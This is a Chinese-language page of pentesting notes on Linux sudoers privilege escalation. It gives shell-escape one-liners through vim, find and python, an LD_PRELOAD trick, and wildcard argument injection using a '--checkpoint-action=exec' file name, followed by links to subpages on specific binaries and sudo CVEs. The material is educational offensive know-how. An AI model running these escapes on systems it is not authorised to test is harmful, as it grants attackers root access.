> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers.md).

# Sudoers

Linux sudoers 权限提升技术、sudo -l 滥用、允许的二进制文件、符号链接滥用以及 sudo 版本漏洞。

sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能将有限的 sudo 权限变成 root shell。

## 方法

* 运行 `sudo -l` 并记录每一条允许的命令、目标用户和 NOPASSWD 规则。
* 检查 GTFOBins，寻找 shell 逃逸、文件写入和由参数控制的执行方式。
* 检查脚本中的可写路径、符号链接处理、通配符展开以及缺失的文件引用。
* 检查 `sudo --version` 是否路径依赖于已知的 sudo CVE。

## 快速检查

```bash
sudo -l
sudo --version
```

## 常见的 Sudo 滥用

当 `sudo -l` 暴露出一个命令时，检查该命令是否能够启动 shell、写入文件、跟随符号链接、加载插件，或展开由攻击者控制的通配符。

```bash
sudo -i
sudo vim -c '!sh'
sudo find . -exec /bin/sh \; -quit
sudo python -c 'import os; os.system("/bin/sh")'
```

### 环境变量保留

如果 `env_keep` 保留加载器变量， `LD_PRELOAD` 或 `LD_LIBRARY_PATH` 就可能变得有用。先确认 sudoers 规则：

```bash
sudo -l
sudo LD_PRELOAD=/tmp/evil.so program
```

### 通配符利用

当一条 sudo 规则对攻击者可控的文件名运行命令时，就会出现通配符滥用，例如使用 `*.conf` 的备份任务，或使用 `*`.

```bash
echo 'command' > exploit.conf
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
sudo /usr/bin/rsync *.conf /backup/
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo awk</h4></td><td>用于 Linux 权限提升的 Sudo（awk）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-awk-linux-privilege-escalation.md">Sudo awk - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Nmap</h4></td><td>用于 Linux 权限提升的 Sudo（Nmap）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md">Sudo（Nmap）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Perl</h4></td><td>用于 Linux 权限提升的 Sudo（Perl）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-perl-linux-privilege-escalation.md">Sudo（Perl）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo GitPython</h4></td><td>用于 Linux 权限提升的 Sudo（GitPython）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-gitpython-linux-privilege-escalation.md">Sudo GitPython - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo 版本 CVE</h4></td><td>关于 CVE-2019-14287 和 CVE-2025-32463 的 Sudo 版本漏洞笔记，用于 Linux 权限提升。</td><td><a href="/zh/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation.md">Sudo 版本漏洞 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo su</h4></td><td>用于 Linux 权限提升的 Sudo（su）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-su-linux-privilege-escalation.md">Sudo su - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Knife</h4></td><td>用于 Linux 权限提升的 Sudo（Knife）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-knife-linux-privilege-escalation.md">Sudo（Knife）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo ALL:ALL</h4></td><td>用于 Linux 权限提升的 Sudo（ALL:ALL）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-all-all-linux-privilege-escalation.md">Sudo ALL:ALL - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo mosh-server</h4></td><td>用于 Linux 权限提升的 Sudo（Mosh-Server）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-mosh-server-linux-privilege-escalation.md">Sudo（Mosh-Server）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo iptables</h4></td><td>用于 Linux 权限提升的 Sudo（iptables）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md">Sudo iptables - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Go</h4></td><td>用于 Linux 权限提升的 Sudo（Go）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-go-linux-privilege-escalation.md">Sudo（Go）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo journalctl</h4></td><td>用于 Linux 权限提升的 Sudo（journalctl）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-journalctl-linux-privilege-escalation.md">Sudo journalctl - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Metasploit</h4></td><td>用于 Linux 权限提升的 Sudo（Metasploit）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-metasploit-linux-privilege-escalation.md">Sudo（Metasploit）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo 缺失文件</h4></td><td>用于 Linux 权限提升的 Sudo（文件未找到）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md">Sudo 缺失文件 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo bee 二进制文件</h4></td><td>用于 Linux 权限提升的 Sudo（bee 二进制文件）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md">Sudo bee 二进制文件 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo bbot 二进制文件</h4></td><td>用于 Linux 权限提升的 Sudo（bbot 二进制文件）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-bbot-binary-linux-privilege-escalation.md">Sudo bbot 二进制文件 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo ACL 符号链接滥用</h4></td><td>用于 Linux 权限提升的 Sudo（ACL / 符号链接）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md">Sudo ACL/符号链接 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo 双重符号链接</h4></td><td>用于 Linux 权限提升的 Sudo（双重符号链接）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-double-symlink-linux-privilege-escalation.md">Sudo 双重符号链接 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo 备份二进制文件符号链接</h4></td><td>用于 Linux 权限提升的 Sudo（备份二进制文件 / 符号链接）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md">Sudo 备份二进制符号链接 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo backy.sh 脚本</h4></td><td>用于 Linux 权限提升的 Sudo - backy.sh（脚本）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md">Sudo backy.sh 脚本 - Linux 权限提升</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
